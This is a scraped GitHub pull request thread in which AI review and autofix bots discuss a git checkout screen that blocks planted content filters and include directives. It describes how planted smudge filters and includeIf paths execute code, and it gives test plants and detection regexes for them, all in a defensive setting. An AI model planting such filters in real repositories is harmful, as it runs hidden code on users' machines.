请按拒绝形态分支补救尾巴：找到键时保留移除过滤器的文案；不可读变体则说明点名文件无法读取，需先恢复可读性再重试。
— qwen3.8-max via Qwen Code /review (v0.22.0)
|
🤖 AutoFix hit a verification-gate error before reaching a verdict (attempt 4/100) — it will retry on the next scan. Round summary — PR #9741 (address-review, critical-only growth round)Growth audit verdict: drift ( Findings addressed (7 Criticals resolved in code)
中文说明🤖 AutoFix 在得出结论之前遇到验证门错误（第 4/100 次尝试）—— 将在下次扫描时重试。 Run log: https://github.com/QwenLM/qwen-code/actions/runs/32614897842 🧠 Handled by Qwen Code · model/模型 |
|
🤖 Addressed the latest review feedback (round 5/100). What changed, and what I pushed back on: · 已处理最新评审反馈（第 5/100 轮）。改动内容与我反驳保留之处如下： Round summary — PR #9741 (Critical-only round, growth audit:
|
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Partially reviewed — gaps disclosed.
Not reviewed: build-and-test — Test (windows-latest, Node 22.x) and Test (macos-latest, Node 22.x) were skipped in CI and the non-Linux behaviour of the changed code did not run locally (Linux runner).
Deferred under the convergence posture (round 4, not a blocker) — recorded, not requested in this round:
packages/cli/src/commands/review/fetch-pr.test.ts:615 — [review] Refusal test never pins the branch -D fetched-ref rollback leg
Convergence: round 4 posted 9 inline comment(s), 4 of them reported for the first time; the previous round posted 14 (6 new). Findings keep coming back to the same files: packages/cli/src/commands/review/lib/worktree.ts (findings in rounds 1, 2; 1 more now); packages/cli/src/commands/review/test-efficacy.ts (findings in round 1; 1 more now). A cluster that keeps producing siblings usually means the fixes are treating instances of a shared root cause — triaging that cause before the next round, or splitting an independent cluster into its own pull request, tends to end the loop faster than fixing them one at a time. (Observation only — nothing was withheld from this review because of this observation.)
中文说明
仅完成部分审查，审查缺口已披露。
未审查：build-and-test — Test (windows-latest, Node 22.x) and Test (macos-latest, Node 22.x) were skipped in CI and the non-Linux behaviour of the changed code did not run locally (Linux runner)。
收敛姿态下延后（第 4 轮，非阻断）——已记录，本轮不要求修改：共 1 条（原文未翻译，列表见上方英文部分）。
收敛情况：第 4 轮发布了 9 条行内评论，其中 4 条是首次提出；上一轮发布了 14 条（其中 6 条首次提出）。发现反复回到同一批文件：packages/cli/src/commands/review/lib/worktree.ts（第 1、2 轮已出过发现，本轮又有 1 条）；packages/cli/src/commands/review/test-efficacy.ts（第 1 轮已出过发现，本轮又有 1 条）。一个不断再生兄弟发现的簇，通常意味着逐条修复只在处理同一根因的实例——先定位并处理该根因，或把独立的簇拆成单独的 PR，通常比逐条修复更快结束循环。（仅为观察——本轮评审未因此扣留任何内容。）
— qwen3.8-max via Qwen Code /review (v0.22.0)
| producerMocks.git.mock.calls.some( | ||
| (args: unknown[]) => args[0] === 'worktree' && args[1] === 'add', | ||
| ), |
There was a problem hiding this comment.
[Critical] R4-1: The "the creation checkout itself never ran" assertion matches worktree add positionally (args[0] === 'worktree' && args[1] === 'add'), but this same diff changes the creation spawn to git(...INERT_GIT_ARGS, 'worktree', 'add', wt, ref) — the recorded argv now begins with the two -c override pairs, so this matcher can never see the add call and .toBe(false) passes whether or not the checkout ran. The refuse-before-checkout ordering this test claims to pin is unpinned. The same diff fixes this identical positional-match break in the 'clears the lease' test further down (args.includes('worktree')), and the INERT test 20 lines below uses the includes shape — only this assertion keeps the broken one.
Failure path: a future refactor moves the localFilterRefusal screen/throw after the creation worktree add; the creation checkout then EXECUTES a planted content filter before the screen refuses, yet this test stays green — rejects.toThrow still matches, the lease mock still fires, and the positional matcher still reports no add because argv[0] is -c.
Witness (probe flip in a scratch tree at HEAD): moving the screen after the add keeps the test green under the original matcher (Tests 1 passed while the creation add ran); switching only this assertion to the includes form then fails with AssertionError: expected true to be false — the add call was recorded all along.
| producerMocks.git.mock.calls.some( | |
| (args: unknown[]) => args[0] === 'worktree' && args[1] === 'add', | |
| ), | |
| producerMocks.git.mock.calls.some( | |
| (args: unknown[]) => args.includes('worktree') && args.includes('add'), | |
| ), |
中文说明
[Critical] R4-1："creation checkout 本身从未运行"这一断言按位置匹配 worktree add（args[0] === 'worktree' && args[1] === 'add'），但同一个 diff 已把创建 spawn 改为 git(...INERT_GIT_ARGS, 'worktree', 'add', wt, ref)——记录到的 argv 现在以两对 -c 覆盖参数开头，该匹配器永远看不到 add 调用，.toBe(false) 无论 checkout 是否运行都会通过。本测试声称钉住的"先拒绝后 checkout"顺序实际上没有被钉住。同一 diff 已在下方 'clears the lease' 测试中修复了同样的位置匹配问题（改用 args.includes('worktree')），20 行下的 INERT 测试也用了 includes 形态——只有这条断言保留了坏形态。
失败路径：未来某次重构把 localFilterRefusal 屏蔽/抛出挪到创建用 worktree add 之后；创建 checkout 会先执行被植入的内容过滤器、随后屏蔽才拒绝，而本测试仍然绿灯——rejects.toThrow 依然匹配、lease mock 依然触发、位置匹配器因 argv[0] 是 -c 而依旧报告没有 add。
见证（在 HEAD 上用 scratch tree 做翻转探针）：把屏蔽挪到 add 之后，原匹配器下测试仍通过（Tests 1 passed，而创建 add 已执行）；仅把本断言换成 includes 形态后即失败：AssertionError: expected true to be false——add 调用一直被记录着。
— qwen3.8-max via Qwen Code /review (v0.22.0)
| if (files.error || files.status !== 0 || typeof files.stdout !== 'string') { | ||
| return null; | ||
| } | ||
| const [commonDir, gitDir] = files.stdout.trim().split('\n'); |
There was a problem hiding this comment.
[Critical] R2-13: Still stands — carried forward under its original id, raised from Suggestion to Critical with a live witness. The fail-closed filter screen fails OPEN for any repository under a path containing a newline: this two-path git rev-parse --git-common-dir --git-dir stdout is parsed as exactly two lines (trim().split('\n')), but a newline in the common-dir path splits the first path across two stdout lines. Both resolved candidates then miss existsSync, the worktrees/ readdir throw is swallowed, and localFilterRefusal returns null — certifying every checkout. No branch fails closed on a misparse, and INERT_GIT_ARGS covers hooks and fsmonitor but not content filters, so nothing else stops the plant. The codebase's own inertPath documents that git paths legally contain newlines, and sibling code reads NUL-delimited (-z) git output for exactly this reason.
Failure path: a repository under a directory component containing a newline (legal on POSIX) → rev-parse prints the path split across lines → the screen returns null → the planted two-write filter (config key + info/attributes line) EXECUTES during every screened checkout.
Witness (probe against the real function at HEAD, newline-path repo): refusalLinkedCwd: null (screen certified) with pwnedAfterCreationCheckout: true (git worktree add executed the planted smudge); the no-newline control catches the same plant ("defines content filter(s) filter.evil.smudge … would EXECUTE them"); a lines.length !== 2 fail-closed guard flips it to refusal and passes all existing screen tests.
Suggested fix — fail closed on the parse:
const lines = files.stdout.trim().split('\n');
if (lines.length !== 2) {
return `git printed ${lines.length} path lines where the screen expected two — a repo path containing a newline — so the screen cannot certify ${checkout}`;
}(or issue one rev-parse per path, so each trimmed stdout is exactly one complete path).
中文说明
[Critical] R2-13：仍然成立——以原编号保留，本轮以实测见证从 Suggestion 提升为 Critical。对任何位于含换行路径下的仓库，这个失败关闭的过滤器屏蔽会失败打开：此处把 git rev-parse --git-common-dir --git-dir 的 stdout 按恰好两行解析（trim().split('\n')），但 common dir 路径中的换行会把第一个路径拆到两个 stdout 行上。两个解析出的候选随后都过不了 existsSync，worktrees/ readdir 的异常被吞掉，localFilterRefusal 返回 null——为所有 checkout 放行。没有任何分支在解析错误时失败关闭；INERT_GIT_ARGS 只覆盖钩子与 fsmonitor、覆盖不到内容过滤器，因此没有别的防线能拦住植入。代码库自己的 inertPath 明确记载 git 路径可合法含换行，同级代码也正是为此读取 NUL 分隔（-z）的 git 输出。
失败路径：仓库位于含换行的目录分量下（POSIX 合法）→ rev-parse 把路径拆成多行输出 → 屏蔽返回 null → 植入的两写过滤器（配置键 + info/attributes 行）在每次被屏蔽的 checkout 中执行。
见证（在 HEAD 上对真实函数探针，换行路径仓库）：refusalLinkedCwd: null（屏蔽放行）且 pwnedAfterCreationCheckout: true（git worktree add 执行了植入的 smudge）；无换行对照能抓住同样的植入（"defines content filter(s) filter.evil.smudge … would EXECUTE them"）；lines.length !== 2 失败关闭守卫把它翻转为拒绝，且全部现有屏蔽测试通过。
建议修复——在解析处失败关闭（代码见上），或每条路径单独发一次 rev-parse，使每次 trim 后的 stdout 恰好是一条完整路径。
— qwen3.8-max via Qwen Code /review (v0.22.0)
| // this throws and the behaviour stays as it was. | ||
| if (r.pid) { | ||
| try { | ||
| process.kill(-r.pid, 'SIGKILL'); |
There was a problem hiding this comment.
[Critical] R1-2: Still stands — re-reported under its original id. A writer the suite spawned detached: true (or that called setsid) leads its own process group and escapes this group kill; the survivor outlives every screen and can swap config in the never-wiped common dir between a screen and the checkout it authorised. Round 3 documented the residual and pinned it from both sides in the integration suite; the author escalated it for a maintainer decision between the two remaining closures (a descendant-tree kill is not implementable from the spawnSync caller; the alternative is refusing creation checkouts while any probe with shell access is concurrently alive). The mechanism is unchanged at this commit.
Witness (re-measured live this round, node 22): spawnSync honours detached (child pgid == pid); a detached survivor keeps writing after process.kill(-r.pid, 'SIGKILL') reaps every in-group child; test-efficacy.integration.test.ts pins both the in-group kill and the documented escape.
中文说明
[Critical] R1-2：仍然成立——以原编号重新报告。测试套件以 detached: true 派生的写者（或自行调用 setsid 的写者）会成为自己进程组的组长，从而逃脱这记按组击杀；幸存者比所有屏蔽活得久，可以在某次屏蔽与它所授权的 checkout 之间，向从不清理的 common dir 调换配置。第 3 轮已把该残留记录在案，并在集成测试中从两个方向钉住；作者已将其升级，等待维护者在两种剩余关闭手段之间决策（后代树击杀无法从 spawnSync 调用方实现；另一种是当任何拥有 shell 权限的探针并发存活时拒绝创建 checkout）。机制在本提交上未变。
见证（本轮重新实测，node 22）：spawnSync 遵守 detached（子进程 pgid == pid）；在 process.kill(-r.pid, 'SIGKILL') 清掉组内所有子进程之后，detached 幸存者仍在写入；test-efficacy.integration.test.ts 同时钉住了组内击杀与这一被文档化的逃脱。
— qwen3.8-max via Qwen Code /review (v0.22.0)
There was a problem hiding this comment.
Acknowledged — still escalated, maintainer decision pending, no code change this round. As this re-post states, the mechanism is unchanged at the reviewed commit and the author escalated it between the two remaining closures: a descendant-tree kill is not reachable from a spawnSync caller, and refusing creation checkouts while any probe with shell access is concurrently alive is a behavior/scope call this loop leaves open rather than making silently. The residual remains documented beside the kill and pinned from both sides by the integration suite; the decision rides along in the round summary until a maintainer answers.
中文说明
已知悉——仍处于已上报状态，等待维护者决策，本轮无代码改动。正如本次重新发布所述，机制在受审提交上未变，作者已就两种剩余关闭手段上报：后代树击杀无法从 spawnSync 调用方实现，而在任何拥有 shell 权限的探针并发存活时拒绝创建 checkout 是行为/范围决策——本循环选择明确留白而非擅自做出。残留继续记录在杀旁边，并由集成套件从两个方向钉住；在维护者答复之前，该决策将持续列在轮次总结中。
There was a problem hiding this comment.
Still open and tracked, unchanged this round — this re-post keeps the blocker visible, as intended. The residual remains documented beside the group kill (the runner-spawn comment) and pinned from both sides by the integration suite (in-group kill test + the escape test). Closing it needs one of the two escalated closures: a descendant-tree kill (not reachable from a spawnSync caller) or refusing creation checkouts while probes with shell access are concurrently alive — the second is a behavior/scope call for a maintainer. Round 7's batch addressed the nine new Critical findings; this one stays escalated pending that decision.
中文说明
本线程仍然开放且处于跟踪状态，本轮未变——此次重发按预期保持该阻断可见。该残留仍记录在组杀旁边（运行器派生处的注释），并由集成测试从两个方向钉住（组内击杀测试 + 逃逸测试）。收口需要两种已上报方案之一：后代树击杀（从 spawnSync 调用方不可达）；或在有 shell 权限的探针并发存活时拒绝创建用 checkout——后者是行为/范围决策，需维护者定夺。第 7 轮批量处理了九个新的 Critical 发现；本条维持上报状态，等待该决策。
There was a problem hiding this comment.
Still open, deliberately — escalated for a maintainer decision and unchanged this round. The detached-writer escape is pinned from both sides by the integration suite (in-group kill green; the detached escape's marker exists by design) and documented beside the kill. The two remaining closures are maintainer calls: (1) a descendant-tree kill — not reachable from a spawnSync caller; (2) refusing creation checkouts while any probe with shell access is concurrently alive — a behavior/scope decision this loop does not make silently. No code change this round; this re-post keeps the blocker visible pending that decision.
中文说明
仍然开放，有意为之——已上报等待维护者决定，本轮未改动。detached 写者逃逸已被集成套件从两侧钉住（组内杀绿色；detached 逃逸的标记按设计存在），并在杀逻辑旁文档化。剩余两种闭合方式是维护者的决定：（1）后代树杀——从 spawnSync 调用方不可达；（2）在任何拥有 shell 权限的探针并发存活时拒绝创建 checkout——本循环不会擅自做出的行为/范围决定。本轮无代码改动；本次回复让该阻断项在决定做出前保持可见。
| }, | ||
| ); | ||
|
|
||
| it('refuses an include directive — the screen cannot see what it expands', () => { |
There was a problem hiding this comment.
[Suggestion] R4-2: This test plants only [include]\npath = …, so the includeif\..+\.path alternative of the screen's regex is pinned by nothing (a repo-wide enumeration found zero includeIf test plants). Deleting or breaking that alternative — a plausible accident in the origin-scoped include follow-up the docstring announces — leaves the entire suite green, and a probe planting [includeIf "gitdir:<repo>/"] path = <evil config> then passes the screen while the checkout's merged read expands the include and EXECUTEs the filter behind it — the exact regression this screen was written to catch. The production branch works today (live git emits includeif.gitdir:/…/.path and the regex matches it), so this is a coverage gap, not a live bug.
Fix: beside this test, plant the includeIf shape and assert the same refusal:
appendFileSync(
join(repo, '.git', 'config'),
`[includeIf "gitdir:${repo}/"]\n\tpath = ${behind}\n`,
);
// expect(r).toContain('includeif.');中文说明
[Suggestion] R4-2：本测试只植入 [include]\npath = …，屏蔽正则中的 includeif\..+\.path 分支没有任何测试钉住（全仓库枚举未找到任何 includeIf 测试植入）。删除或弄坏该分支——在 docstring 已预告的按来源限定 include 后续改动中是可能的意外——整个测试套件依旧绿灯，而植入 [includeIf "gitdir:<repo>/"] path = <evil config> 的探针将通过屏蔽，checkout 的合并读取随后展开该 include 并执行其背后的过滤器——正是本屏蔽要防的回归。生产分支今天是可用的（实测 git 输出 includeif.gitdir:/…/.path，正则能匹配），因此这是覆盖缺口，不是现役 bug。
修复：在本测试旁植入 includeIf 形态并断言同样的拒绝（代码见上）。
— qwen3.8-max via Qwen Code /review (v0.22.0)
| seen.add(pair); | ||
| (key.startsWith('filter.') ? filters : includes).push({ key, file }); |
There was a problem hiding this comment.
[Suggestion] R4-3: The parse above takes each stdout line's first whitespace token as the key (line.split(/\s+/)[0]), truncating any key whose subsection contains whitespace — and this round's new includes branch is the first realistic key class that carries spaces (an includeIf "gitdir:/a b/x/" condition over a path with spaces is ordinary on Windows/macOS user repos). Two directives includeif.gitdir:/a b/x/.path and includeif.gitdir:/a c/y/.path both reduce to includeif.gitdir:/a: the seen dedup collapses the two distinct directives into one, and the refusal names a key that exists nowhere verbatim — pointing the oncall at a nonexistent key and hiding the second directive entirely (a filter.my lfs.smudge plant likewise reports as filter.my). The fail-closed verdict still fires; this degrades the refusal message, not the screen's safety.
Witness (live probe against the real function): both space-bearing directives reduce to one truncated entry and the refusal names includeif.gitdir:/a (in …); with --name-only + whole-line keys the message names both full keys byte-identical to the authority, the refusal still firing.
Fix: spawn with --name-only (git config --file <file> --name-only --get-regexp <pattern>), which prints one bare key per line, and take the whole line as the key.
中文说明
[Suggestion] R4-3：上方的解析把每个 stdout 行的第一个空白令牌当作键（line.split(/\s+/)[0]），会截断任何子节含空白的键——而本轮新增的 includes 分支是第一个带空白的现实键类（针对含空格路径的 includeIf "gitdir:/a b/x/" 条件在 Windows/macOS 用户仓库中很常见）。两条指令 includeif.gitdir:/a b/x/.path 与 includeif.gitdir:/a c/y/.path 都会被截成 includeif.gitdir:/a：seen 去重把两条不同指令合并为一条，拒绝信息点名一个逐字不存在的键——把值班人指向不存在的键，并完全隐藏第二条指令（filter.my lfs.smudge 植入同样会被报告为 filter.my）。失败关闭的裁决依旧触发；这降低的是拒绝信息的质量，不是屏蔽的安全性。
见证（对真实函数的实测探针）：两条含空格指令被归约为一条截断条目，拒绝信息点名 includeif.gitdir:/a (in …)；改用 --name-only + 整行取键后，信息点名的两个完整键与权威输出逐字节一致，拒绝依旧触发。
修复：以 --name-only 发起（git config --file <file> --name-only --get-regexp <pattern>），每行输出一个裸键，整行作为键。
— qwen3.8-max via Qwen Code /review (v0.22.0)
| `the repository's local config defines content filter(s) ${filters | ||
| .map((f) => `${inertPath(f.key)} (in ${inertPath(f.file)})`) | ||
| .join(', ')} — ${checkout} would EXECUTE them`, |
There was a problem hiding this comment.
[Suggestion] R2-7: Still stands — re-reported under its original id (deferred from round 2 at the batch cap). The refusal enumerates every matched key with no bound, and in test-efficacy the full string is re-embedded in every probe's detail — the loops continue past a refusal, and a control-mutant run that hits the screen on every probe re-embeds an unbounded string each time. A padded config with tens of thousands of filter keys — the shape the dedup comment above anticipates — produces a multi-megabyte message. Bound the enumeration (first N keys plus a '+ M more' count), the way the residue note already bounds its path list.
中文说明
[Suggestion] R2-7：仍然成立——以原编号重新报告（第 2 轮因批量上限推迟）。拒绝信息无上限地枚举每个命中的键；在 test-efficacy 中，完整字符串会被重新嵌入每个探针的 detail——循环在拒绝之后继续，命中屏蔽的对照突变体会在每次运行都重新嵌入一个无上限的字符串。一个塞满数万过滤器键的填充配置——正是上方去重注释预期的形态——会产生数兆字节的信息。请像残留（residue）说明对路径列表那样，为枚举设上限（前 N 个键加 '+ 还有 M 个'）。
— qwen3.8-max via Qwen Code /review (v0.22.0)
| .map((f) => `${inertPath(f.key)} (in ${inertPath(f.file)})`) | ||
| .join(', ')} — ${checkout} would EXECUTE them`, |
There was a problem hiding this comment.
[Suggestion] R2-8: Still stands — re-reported under its original id (deferred from round 2 at the batch cap). No test pins the inertPath sanitization of this message: removing the inertPath(…) wrappers around key, file, and unreadable detail is a surviving mutation — none of the new tests in worktree.test.ts plants a control-character-bearing key or path and asserts the flattened output. Add a witness: plant a filter key or candidate path containing a control character (e.g. \u0007), drive localFilterRefusal, and assert the refusal contains the inertPath-flattened form.
中文说明
[Suggestion] R2-8：仍然成立——以原编号重新报告（第 2 轮因批量上限推迟）。没有测试钉住本信息的 inertPath 净化：移除 key、file 与 unreadable detail 外围的 inertPath(…) 包装是一个能存活的突变——worktree.test.ts 的新测试里没有一个植入含控制字符的键或路径并断言扁平化后的输出。请补一个见证：植入含控制字符（如 \u0007）的过滤器键或候选路径，驱动 localFilterRefusal，断言拒绝信息包含 inertPath 扁平化后的形态。
— qwen3.8-max via Qwen Code /review (v0.22.0)
| 'enough to plant both the filter and the attributes that select it. Remove ' + | ||
| 'the filter config — or the attributes file that uses it — if it is not ' + | ||
| 'yours; until then no scratch tree is safe to create or reset.', | ||
| `${filterRefusal} (hooks are disabled, filters are config-driven), and ` + |
There was a problem hiding this comment.
[Suggestion] R2-11: Still stands — re-reported under its original id (deferred from round 2 at the batch cap). This fixed remediation tail was written for the filter-hit variant; the shared localFilterRefusal this diff rewires also returns an unreadable-config variant (and now an include-directive variant) to which "Remove the filter config — or the attributes file that uses it" cannot apply — there is no filter to remove when the refusal is "the config could not be read". A repo whose common-dir config is unreadable gets told to remove a filter it does not have, and the scratch tree stays unavailable. Branch the tail on the refusal variant (filter-hit / include / unreadable), or compose it inside localFilterRefusal where the variant is known.
中文说明
[Suggestion] R2-11：仍然成立——以原编号重新报告（第 2 轮因批量上限推迟）。这段固定的补救说明尾巴是为过滤器命中变体写的；本 diff 重新接线的共享 localFilterRefusal 还会返回不可读配置变体（如今还有 include 指令变体），"移除过滤器配置——或使用它的 attributes 文件"对它们无从适用——当拒绝是"配置无法读取"时并没有过滤器可移除。common dir 配置不可读的仓库会被要求移除它并不拥有的过滤器，而 scratch 树保持不可用。请按拒绝变体（过滤器命中 / include / 不可读）给尾巴分支，或在知道变体的 localFilterRefusal 内部组装它。
— qwen3.8-max via Qwen Code /review (v0.22.0)
| // `filter.lfs.clean` into the user's GLOBAL config, and refusing on that | ||
| // would put every contributor with git-lfs into permanent refusal — the same | ||
| // failure as a tripwire that fires on every healthy run. | ||
| const filterRefusal = localFilterRefusal(probeTree, "this tree's restore"); |
There was a problem hiding this comment.
[Suggestion] R4-4: The two restore spawns below keep a hand-written const inert = ['-c', 'core.hooksPath=/dev/null/no-hooks', '-c', 'core.fsmonitor='] copy instead of the INERT_GIT_ARGS constant this PR introduces — after this diff converts every other checkout spawn (base-tree add, fetch-pr add, scratch-tree spawns, and this file's own git() helper above), the restore pair are the only checkout spawns bypassing the constant. The array predates this PR, but this round's import of the constant and the helper conversion are what make the duplication a divergence risk: when a further config-execution surface is added to INERT_GIT_ARGS — exactly what this PR did when it widened the old hooks-only NO_HOOKS with core.fsmonitor= — the inline copy silently does not carry it, and the checkout --force HEAD -- . this screen just certified (rewrites every tracked file, twice per probe run) executes a planted command from the tree it defends against.
Fix: replace the local inert array with the already-imported constant — [...INERT_GIT_ARGS, 'checkout', '--force', 'HEAD', '--', '.'] and [...INERT_GIT_ARGS, 'clean', '-ffdx', '-e', 'node_modules'].
中文说明
[Suggestion] R4-4：下方两个恢复 spawn 保留着手写的 const inert = ['-c', 'core.hooksPath=/dev/null/no-hooks', '-c', 'core.fsmonitor='] 副本，而不是本 PR 引入的 INERT_GIT_ARGS 常量——本 diff 已把其余所有创建 checkout 的 spawn（base-tree add、fetch-pr add、scratch-tree 各 spawn、以及本文件上方的 git() 辅助函数）全部改用常量，恢复这一对成了唯一绕过常量的 checkout spawn。该数组早于本 PR，但正是本轮对常量的导入与辅助函数改造使这份重复成为分叉风险：当 INERT_GIT_ARGS 再添一个配置执行面——本 PR 把旧的仅钩子 NO_HOOKS 扩出 core.fsmonitor= 时做的正是这件事——内联副本不会悄悄带上它，而刚被本屏蔽证明干净的 checkout --force HEAD -- .（每次探针运行两次重写每个已跟踪文件）就会执行它所防御的那棵树里植入的命令。
修复：用已导入的常量替换本地 inert 数组——[...INERT_GIT_ARGS, 'checkout', '--force', 'HEAD', '--', '.'] 与 [...INERT_GIT_ARGS, 'clean', '-ffdx', '-e', 'node_modules']。
— qwen3.8-max via Qwen Code /review (v0.22.0)
… screen's edges (#9741) Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
|
🤖 Addressed the latest review feedback (round 1/100). What changed, and what I pushed back on: · 已处理最新评审反馈（第 1/100 轮）。改动内容与我反驳保留之处如下： Autofix round 5 — PR #9741 (commit c06aab3)Round 4's review (sha 49ba19a) posted one new Critical, one carried-forward Critical, and six suggestions; this round implements all eight, plus the witness work the carried-over deferred suggestions demanded. Every claim that current behavior is wrong was reproduced before the fix (probe or failing test), and every new guard/branch was mutation-probed: removed → its test FAILS, restored → green. Implemented this round (8 findings)
Escalated — maintainer decision pending (no code change)
Deferred to the next round
Re-verified: findings resolved by earlier rounds still hold at HEADRounds 1–3 re-posted several findings that earlier commits already closed; each was re-checked against this branch's green suite (99 files, 4526 tests): R1-1 (creation/revert screens + inert spawns), the raw-key interpolation (now built once with Deferred finding (tracked for the follow-up queue)
Verification
中文说明Autofix 第 5 轮 — PR #9741（提交 c06aab3）第 4 轮审查（sha 49ba19a）发布了 1 条新 Critical、1 条携带转发的 Critical 和 6 条 Suggestion；本轮实现了全部 8 条，并补齐了此前推迟的 Suggestion 所要求的见证测试。所有"当前行为有错"的断言都在修复前先复现（探针或失败测试），每个新守卫/分支都做了突变探针：移除 → 对应测试变红，恢复 → 变绿。 本轮实现（8 条发现）
已上报——等待维护者决策（无代码改动）
推迟到下一轮
复核：此前各轮已解决的发现在 HEAD 上仍然成立第 1–3 轮重复发布了若干早前提交已关闭的发现；每一条都已对照本分支的绿色套件（99 个文件、4526 个测试）复核：R1-1（创建/回退屏蔽 + 惰性 spawn）、原始键插值（现由共享屏蔽内一次性用 推迟的发现（进入后续队列跟踪）
验证
Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。 Re-review when you have a moment. After round 100 this bot stops and leaves the PR for a human. · 有空请复审；第 100 轮后本 bot 停止并将 PR 交给人工。 🧠 Handled by Qwen Code · model/模型 |
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Partially reviewed — gaps disclosed.
Not reviewed: build-and-test — Test (windows-latest, Node 22.x) and Test (macos-latest, Node 22.x) were skipped in CI and the non-Linux behaviour of the changed code did not run locally (Linux runner).
Deferred under the convergence posture (round 5, not a blocker) — recorded, not requested in this round:
packages/cli/src/commands/review/lib/worktree.test.ts:1446 — [review] no witness for the main-worktree config.worktree candidate (deferred — code unchanged since round 4)packages/cli/src/commands/review/test-efficacy.ts:2568 — [probe] creation screen runs before the sweep and wedges on a stale planted probe tree (deferred — code unchanged since round 4)packages/cli/src/commands/review/lib/worktree.ts:700 — [probe] lstatSync refuses a symlink to a regular config file that git reads fine (deferred — code unchanged since round 4)
Convergence: round 5 posted 7 inline comment(s), 6 of them reported for the first time; the previous round posted 9 (4 new). Findings keep coming back to the same files: packages/cli/src/commands/review/lib/worktree.ts (findings in rounds 2, 4; 3 more now); packages/cli/src/commands/review/test-efficacy.ts (findings in rounds 1, 4; 1 more now); packages/cli/src/commands/review/lib/worktree.test.ts (findings in round 4; 1 more now), and 1 more file(s). The rate of new findings is not falling. A cluster that keeps producing siblings usually means the fixes are treating instances of a shared root cause — triaging that cause before the next round, or splitting an independent cluster into its own pull request, tends to end the loop faster than fixing them one at a time. Batching the remaining fixes and verifying them before the next push, or dropping this PR's reviews to --severity-floor critical, keeps the loop from re-deriving the same set. (Observation only — nothing was withheld from this review because of this observation.)
中文说明
仅完成部分审查，审查缺口已披露。
未审查：build-and-test — Test (windows-latest, Node 22.x) and Test (macos-latest, Node 22.x) were skipped in CI and the non-Linux behaviour of the changed code did not run locally (Linux runner)。
收敛姿态下延后（第 5 轮，非阻断）——已记录，本轮不要求修改：共 3 条（原文未翻译，列表见上方英文部分）。
收敛情况：第 5 轮发布了 7 条行内评论，其中 6 条是首次提出；上一轮发布了 9 条（其中 4 条首次提出）。发现反复回到同一批文件：packages/cli/src/commands/review/lib/worktree.ts（第 2、4 轮已出过发现，本轮又有 3 条）；packages/cli/src/commands/review/test-efficacy.ts（第 1、4 轮已出过发现，本轮又有 1 条）；packages/cli/src/commands/review/lib/worktree.test.ts（第 4 轮已出过发现，本轮又有 1 条），另有 1 个文件。新发现的产出速度没有下降。一个不断再生兄弟发现的簇，通常意味着逐条修复只在处理同一根因的实例——先定位并处理该根因，或把独立的簇拆成单独的 PR，通常比逐条修复更快结束循环。把剩余修复攒成一批、验证后再推送，或将本 PR 的评审降到 --severity-floor critical，可以避免循环反复推导同一组发现。（仅为观察——本轮评审未因此扣留任何内容。）
— qwen3.8-max via Qwen Code /review (v0.22.0)
| // integration suite pins the escape so the claim and the evidence stay | ||
| // together. | ||
| detached: true, |
There was a problem hiding this comment.
[Critical] R5-1: Making this runner spawn detached: true puts it in its own session/process group, so every teardown signal that previously reached it — a terminal Ctrl-C on a direct run, and the pipeline's timeout/interrupt group-kill chain — now misses it. The only kill that reaches the runner runs after spawnSync returns, which never happens when the parent dies. The in-diff rationale argues detached for timeout expiry and normal exit — both return from spawnSync, so the group kill below runs — but never for the parent-death state.
Failure path: a reviewer runs qwen review test-efficacy in a terminal and presses Ctrl-C during a probe run. SIGINT keeps its default action on this headless path (the interactive handlers are registered only under config.isInteractive()); the parent dies instantly inside spawnSync; the group kill below never executes; the detached vitest runner survives with no deadline enforcer left (the timeout lived in the dead parent), continuing to execute the PR's own test code indefinitely. The same escape defeats review run's teardown — its cancel group-kills the command group, but the vitest subtree is no longer in it. The orphaned runner is exactly the "survivor that outlives every screen" class this change exists to contain, now reachable through ordinary teardown paths.
Witness (probe in a scratch tree at HEAD, flipping on the single variable the diff changed):
=== arm 1: detached (the PR's shape) ===
detached: child pid=3954364 pgrp=3954364
detached: CHILD ALIVE after parent-group SIGINT (orphaned)
detached: post-return group kill NEVER RAN
=== arm 2: attached (pre-diff shape) ===
attached: CHILD DEAD after parent-group SIGINT
Fix: give the spawn a death hook — register SIGINT/SIGTERM listeners before spawnSync that kill -pid once it is known, then restore the default action and re-raise (or exit with run.ts's 130/143 contract), removing them after the group kill below runs; or confine the runner without a new session.
中文说明
[Critical] R5-1：把该运行器以 detached: true 派生，使其进入自己的会话/进程组，于是此前能到达它的一切终止信号——直接运行时终端的 Ctrl-C、管线超时/中断时的进程组杀——现在全都够不到它。唯一能杀掉它的 group kill 在 spawnSync 返回之后才执行，而父进程死亡时该调用永远不会返回。diff 内的注释只为超时到期与正常退出两种状态论证了 detached——两者都会从 spawnSync 返回、下方的 group kill 都会执行——却从未论证父进程死亡这一状态。
失败路径：评审者在终端运行 qwen review test-efficacy 并在探针运行期间按下 Ctrl-C。该无界面路径上 SIGINT 保持默认动作（交互式处理器仅在 config.isInteractive() 下注册）；父进程在 spawnSync 内立即死亡；下方的 group kill 永不执行；脱离的 vitest 运行器在没有任何期限执行者的情况下存活（超时器随死去的父进程消失），继续无限期执行该 PR 自己的测试代码。同样的逃逸也使 review run 的拆除失效——其取消逻辑对命令组做组杀，但 vitest 子树已不在该组内。孤儿运行器正是本改动要遏制的那一类"比所有屏蔽活得更久的幸存者"，如今通过普通的拆除路径即可到达。
见证（在 HEAD 上用 scratch tree 探针，仅翻转 diff 改变的那一个变量）：见英文部分。
修法：给该派生加"死亡钩子"——在 spawnSync 之前注册 SIGINT/SIGTERM 监听器，待 pid 已知后杀 -pid，随后恢复默认动作并重新触发（或按 run.ts 的 130/143 约定退出），并在下方 group kill 执行后移除监听器；或者不新建会话来约束运行器。
— qwen3.8-max via Qwen Code /review (v0.22.0)
| export const INERT_GIT_ARGS = [ | ||
| '-c', | ||
| 'core.hooksPath=/dev/null/no-hooks', |
There was a problem hiding this comment.
